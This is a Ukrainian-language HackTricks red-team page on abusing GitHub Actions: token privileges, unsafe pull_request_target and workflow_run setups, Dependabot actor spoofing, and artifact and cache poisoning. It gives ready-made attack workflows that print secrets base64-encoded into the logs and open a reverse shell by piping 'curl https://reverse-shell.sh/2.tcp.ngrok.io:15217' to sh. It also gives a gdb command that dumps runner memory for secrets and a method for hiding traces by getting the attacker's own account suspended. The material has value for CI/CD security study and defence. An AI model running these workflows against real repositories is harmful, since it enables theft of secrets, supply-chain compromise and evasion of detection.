Зловживання Github Actions

Reading time: 20 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Інструменти

Наступні інструменти корисні для знаходження робочих процесів Github Action і навіть для виявлення вразливих:

Основна інформація

На цій сторінці ви знайдете:

  • резюме всіх впливів зловмисника, який зміг отримати доступ до Github Action
  • Різні способи отримати доступ до дії:
  • Маючи дозволи на створення дії
  • Зловживання тригерами, пов'язаними з pull request
  • Зловживання іншими зовнішніми техніками доступу
  • Півотування з уже скомпрометованого репозиторію
  • Нарешті, розділ про техніки пост-експлуатації для зловживання дією зсередини (викликані згаданими впливами)

Резюме впливів

Для введення про Github Actions перевірте основну інформацію.

Якщо ви можете виконувати довільний код у GitHub Actions в межах репозиторію, ви можете:

  • Викрасти секрети, змонтовані в конвеєрі, і зловживати привілеями конвеєра для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS і GCP.
  • Скомпрометувати розгортання та інші артефакти.
  • Якщо конвеєр розгортає або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє здійснити атаку на ланцюг постачання.
  • Виконувати код у кастомних робітниках для зловживання обчислювальною потужністю та півотування до інших систем.
  • Перезаписати код репозиторію, залежно від дозволів, пов'язаних з GITHUB_TOKEN.

GITHUB_TOKEN

Цей "секрет" (який походить з ${{ secrets.GITHUB_TOKEN }} і ${{ github.token }}) надається, коли адміністратор активує цю опцію:

Цей токен є тим самим, що і Github Application буде використовувати, тому він може отримати доступ до тих самих кінцевих точок: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

warning

Github повинен випустити потік, який дозволяє крос-репозиторний доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи GITHUB_TOKEN.

Ви можете побачити можливі дозволи цього токена на: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Зверніть увагу, що токен закінчує термін дії після завершення роботи.
Ці токени виглядають так: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Деякі цікаві речі, які ви можете зробити з цим токеном:

bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

caution

Зверніть увагу, що в кількох випадках ви зможете знайти токени користувачів github всередині середовищ Github Actions або в секретах. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.

Список секретів у виході Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати зворотний шелл з секретами
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Можна перевірити дозволи, надані Github Token в репозиторіях інших користувачів, перевіряючи журнали дій:

Дозволене виконання

note

Це був би найпростіший спосіб скомпрометувати Github дії, оскільки цей випадок передбачає, що у вас є доступ до створення нового репозиторію в організації або є права на запис у репозиторій.

Якщо ви в цій ситуації, ви можете просто перевірити техніки постексплуатації.

Виконання з створення репозиторію

У випадку, якщо члени організації можуть створювати нові репозиторії і ви можете виконувати github дії, ви можете створити новий репозиторій і вкрасти секрети, встановлені на рівні організації.

Виконання з нової гілки

Якщо ви можете створити нову гілку в репозиторії, який вже містить налаштовану Github Action, ви можете модифікувати її, завантажити вміст, а потім виконати цю дію з нової гілки. Таким чином, ви можете екстрагувати секрети на рівні репозиторію та організації (але вам потрібно знати, як вони називаються).

Ви можете зробити модифіковану дію виконуваною вручну, коли створюється PR або коли якийсь код завантажується (залежно від того, наскільки помітними ви хочете бути):

yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

note

Є різні тригери, які можуть дозволити зловмиснику виконати Github Action з іншого репозиторію. Якщо ці тригери налаштовані неналежним чином, зловмисник може зуміти їх скомпрометувати.

pull_request

Тригер робочого процесу pull_request буде виконувати робочий процес щоразу, коли надходить запит на злиття з деякими винятками: за замовчуванням, якщо це перший раз, коли ви співпрацюєте, деякий керівник повинен схвалити виконання робочого процесу:

note

Оскільки за замовчуванням обмеження стосується нових учасників, ви можете внести виправлення дійсної помилки/друкарської помилки і потім надіслати інші PR, щоб зловживати вашими новими привілеями pull_request.

Я це протестував, і це не працює: Інший варіант - створити обліковий запис з ім'ям когось, хто вніс внесок у проект і видалив свій обліковий запис.

Більше того, за замовчуванням запобігає запису прав і доступу до секретів цільового репозиторію, як зазначено в документації:

За винятком GITHUB_TOKEN, секрети не передаються виконавцю під час тригера робочого процесу з форкнутого репозиторію. GITHUB_TOKEN має права лише на читання у запитах на злиття з форкнутого репозиторію.

Зловмисник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні дії. Однак він не зможе вкрасти секрети або перезаписати репозиторій через зазначені обмеження.

caution

Так, якщо зловмисник змінить у PR github action, який буде тригером, його Github Action буде використано, а не той, що з оригінального репозиторію!

Оскільки зловмисник також контролює код, що виконується, навіть якщо немає секретів або прав на запис у GITHUB_TOKEN, зловмисник може, наприклад, завантажити шкідливі артефакти.

pull_request_target

Тригер робочого процесу pull_request_target має права на запис до цільового репозиторію та доступ до секретів (і не запитує дозволу).

Зверніть увагу, що тригер робочого процесу pull_request_target виконується в базовому контексті і не в тому, що надається PR (щоб не виконувати ненадійний код). Для отримання додаткової інформації про pull_request_target перевірте документацію.
Більше того, для отримання додаткової інформації про це конкретне небезпечне використання перевірте цей пост у блозі github.

Може здатися, що оскільки виконуваний робочий процес є тим, що визначено в базі, а не в PR, це безпечно використовувати pull_request_target, але є кілька випадків, коли це не так.

І цей тригер матиме доступ до секретів.

workflow_run

Тригер workflow_run дозволяє запустити робочий процес з іншого, коли він завершено, запитано або в процесі.

У цьому прикладі робочий процес налаштовано на виконання після завершення окремого "Запустити тести" робочого процесу:

yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Більше того, відповідно до документації: Робочий процес, розпочатий подією workflow_run, може доступати до секретів і записувати токени, навіть якщо попередній робочий процес не був.

Такий робочий процес може бути атакований, якщо він залежить від робочого процесу, який може бути запущений зовнішнім користувачем через pull_request або pull_request_target. Кілька вразливих прикладів можна знайти в цьому блозі. Перший з них полягає в тому, що workflow_run запущений робочий процес завантажує код атакуючого: ${{ github.event.pull_request.head.sha }}
Другий полягає в передачі артефакту з недовіреного коду до робочого процесу workflow_run та використанні вмісту цього артефакту таким чином, що він стає вразливим до RCE.

workflow_call

TODO

TODO: Перевірити, чи при виконанні з pull_request використовується/завантажується код з оригіналу чи з форкнутого PR

Зловживання виконанням з форку

Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес github виконатися, тепер давайте розглянемо, як ці виконання, якщо погано налаштовані, можуть бути зловживані:

Виконання недовіреного чекауту

У випадку pull_request робочий процес буде виконуватися в контексті PR (тому він виконає код шкідливого PR), але хтось повинен спочатку його авторизувати, і він буде виконуватися з деякими обмеженнями.

У випадку робочого процесу, що використовує pull_request_target або workflow_run, який залежить від робочого процесу, що може бути запущений з pull_request_target або pull_request, код з оригінального репозиторію буде виконано, тому атакуючий не може контролювати виконуваний код.

caution

Однак, якщо дія має явний чекаут PR, який отримає код з PR (а не з бази), вона буде використовувати код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR):

# INSECURE. Наведено лише як приклад.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Дякую!

Потенційно недовірений код виконується під час npm install або npm build, оскільки скрипти збірки та згадані пакети контролюються автором PR.

warning

Github dork для пошуку вразливих дій: event.pull_request pull_request_target extension:yml, однак існують різні способи налаштування завдань для безпечного виконання, навіть якщо дія налаштована ненадійно (наприклад, використовуючи умовні оператори про те, хто є актором, що генерує PR).

Впровадження скриптів у контексті

Зверніть увагу, що є певні контексти github, значення яких контролюються користувачем, що створює PR. Якщо github action використовує ці дані для виконання чогось, це може призвести до виконання довільного коду:

Gh Actions - Context Script Injections

Впровадження скриптів GITHUB_ENV

З документації: Ви можете зробити змінну середовища доступною для будь-яких наступних кроків у завданні робочого процесу, визначивши або оновивши змінну середовища та записавши це у файл середовища GITHUB_ENV.

Якщо атакуючий може впровадити будь-яке значення в цю змінну середовища, він може впровадити змінні середовища, які можуть виконати код у наступних кроках, таких як LD_PRELOAD або NODE_OPTIONS.

Наприклад (це і це), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту в змінній середовища GITHUB_ENV. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його:

Dependabot та інші довірені боти

Як зазначено в цьому блозі, кілька організацій мають Github Action, яка об'єднує будь-який PRR від dependabot[bot], як у:

yaml
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Яка є проблема, оскільки поле github.actor містить користувача, який викликав останню подію, що активувала робочий процес. Існує кілька способів змусити користувача dependabot[bot] змінити PR. Наприклад:

  • Форкнути репозиторій жертви
  • Додати шкідливий код до вашої копії
  • Увімкнути Dependabot у вашому форку, додавши застарілу залежність. Dependabot створить гілку, що виправляє залежність зі шкідливим кодом.
  • Відкрити Pull Request до репозиторію жертви з цієї гілки (PR буде створено користувачем, тому нічого ще не станеться)
  • Потім зловмисник повертається до початкового PR, який Dependabot відкрив у його форку, і виконує @dependabot recreate
  • Потім Dependabot виконує деякі дії в цій гілці, які змінюють PR у репозиторії жертви, що робить dependabot[bot] виконавцем останньої події, що активувала робочий процес (і, отже, робочий процес запускається).

Продовжуючи, що якби замість злиття Github Action мала б ін'єкцію команд, як у:

yaml
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Добре, оригінальний блогпост пропонує два варіанти зловживання цією поведінкою, другий з яких:

  • Зробіть форк репозиторію жертви та увімкніть Dependabot з деякою застарілою залежністю.
  • Створіть нову гілку з кодом шкідливого shell-ін'єкції.
  • Змініть основну гілку репозиторію на цю.
  • Створіть PR з цієї гілки до репозиторію жертви.
  • Запустіть @dependabot merge у PR, який Dependabot відкрив у його форку.
  • Dependabot об'єднає свої зміни в основну гілку вашого форкнутого репозиторію, оновлюючи PR у репозиторії жертви, роблячи тепер dependabot[bot] актором останньої події, яка викликала робочий процес, і використовуючи шкідливу назву гілки.

Вразливі сторонні Github Actions

dawidd6/action-download-artifact

Як згадувалося в цьому блогпості, цей Github Action дозволяє отримувати артефакти з різних робочих процесів і навіть репозиторіїв.

Проблема в тому, що якщо параметр path не встановлений, артефакт витягується в поточний каталог і може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, зловмисник може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту.

Приклад вразливого робочого процесу:

yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Це може бути атаковано за допомогою цього робочого процесу:

yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Інший зовнішній доступ

Викрадення видаленого простору імен репозиторію

Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав менше 100 зірок до зміни імені, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити репозиторій з таким же ім'ям, як і той, що був видалений.

caution

Тому, якщо дія використовує репозиторій з неіснуючого облікового запису, все ще можливо, що зловмисник може створити цей обліковий запис і скомпрометувати дію.

Якщо інші репозиторії використовували залежності з репозиторіїв цього користувача, зловмисник зможе їх викрасти. Ось більш детальне пояснення: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Пивотинг репозиторію

note

У цьому розділі ми поговоримо про техніки, які дозволять пивотити з одного репозиторію в інший, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ).

Отруєння кешу

Кеш підтримується між виконаннями робочого процесу в одному гілці. Це означає, що якщо зловмисник скомпрометує пакет, який потім зберігається в кеші і завантажується та виконується більш привілейованим робочим процесом, він зможе також скомпрометувати цей робочий процес.

GH Actions - Cache Poisoning

Отруєння артефактів

Робочі процеси можуть використовувати артефакти з інших робочих процесів і навіть репозиторіїв, якщо зловмисник зможе скомпрометувати Github Action, яка завантажує артефакт, що пізніше використовується іншим робочим процесом, він може скомпрометувати інші робочі процеси:

Gh Actions - Artifact Poisoning


Постексплуатація з дії

Доступ до AWS та GCP через OIDC

Перевірте наступні сторінки:

AWS - Federation Abuse

GCP - Federation Abuse

Доступ до секретів

Якщо ви впроваджуєте вміст у скрипт, цікаво знати, як ви можете отримати доступ до секретів:

  • Якщо секрет або токен встановлено в змінну середовища, його можна безпосередньо отримати через середовище, використовуючи printenv.
Список секретів у виході Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати зворотний шелл з секретами
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Якщо секрет використовується безпосередньо в виразі, згенерований shell-скрипт зберігається на диску і доступний.

cat /home/runner/work/_temp/*

- Для JavaScript дій секрети передаються через змінні середовища.
- ```bash
ps axe | grep node
  • Для кастомної дії ризик може варіюватися в залежності від того, як програма використовує секрет, отриманий з аргументу:
yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Зловживання самостійно хостингованими виконавцями

Спосіб знайти, які Github Actions виконуються в не-Github інфраструктурі, - це шукати runs-on: self-hosted в конфігураційному yaml файлі Github Action.

Самостійно хостинговані виконавці можуть мати доступ до додаткової чутливої інформації, до інших мережевих систем (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, може виконуватися більше однієї дії одночасно, і зловмисна може вкрасти секрети іншої.

У самостійно хостингованих виконавцях також можливо отримати секрети з процесу _Runner.Listener_** який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять:

bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Перевірте цей пост для отримання додаткової інформації.

Github Docker Images Registry

Можливо створити Github дії, які будують і зберігають Docker-образ всередині Github.
Приклад можна знайти в наступному розширювальному:

Github Action Build & Push Docker Image
yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Як ви могли бачити в попередньому коді, реєстр Github розміщений на ghcr.io.

Користувач з правами на читання репозиторію зможе завантажити Docker Image, використовуючи особистий токен доступу:

bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Тоді користувач може шукати викрадені секрети в шарах Docker-образу:

Docker Forensics - HackTricks

Чутлива інформація в журналах Github Actions

Навіть якщо Github намагається виявити секретні значення в журналах дій і уникнути їх відображення, інша чутлива інформація, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не налаштовано спеціально.

Приховування своїх слідів

(Техніка з тут) По-перше, будь-який PR, що подається, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми не можемо видалити PR з інтернету, але є нюанс. Для облікових записів GitHub, які припинені GitHub, всі їх PR автоматично видаляються і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі. Це сховає всі ваші активності на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR)

Організація в GitHub дуже активно повідомляє про облікові записи в GitHub. Все, що вам потрібно зробити, це поділитися "деякими речами" в Issue, і вони подбають про те, щоб ваш обліковий запис був припинений протягом 12 годин :p і ось, ви зробили свою експлуатацію невидимою на github.

warning

Єдиний спосіб для організації дізнатися, що вони стали мішенню, - це перевірити журнали GitHub з SIEM, оскільки з інтерфейсу GitHub PR буде видалено.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks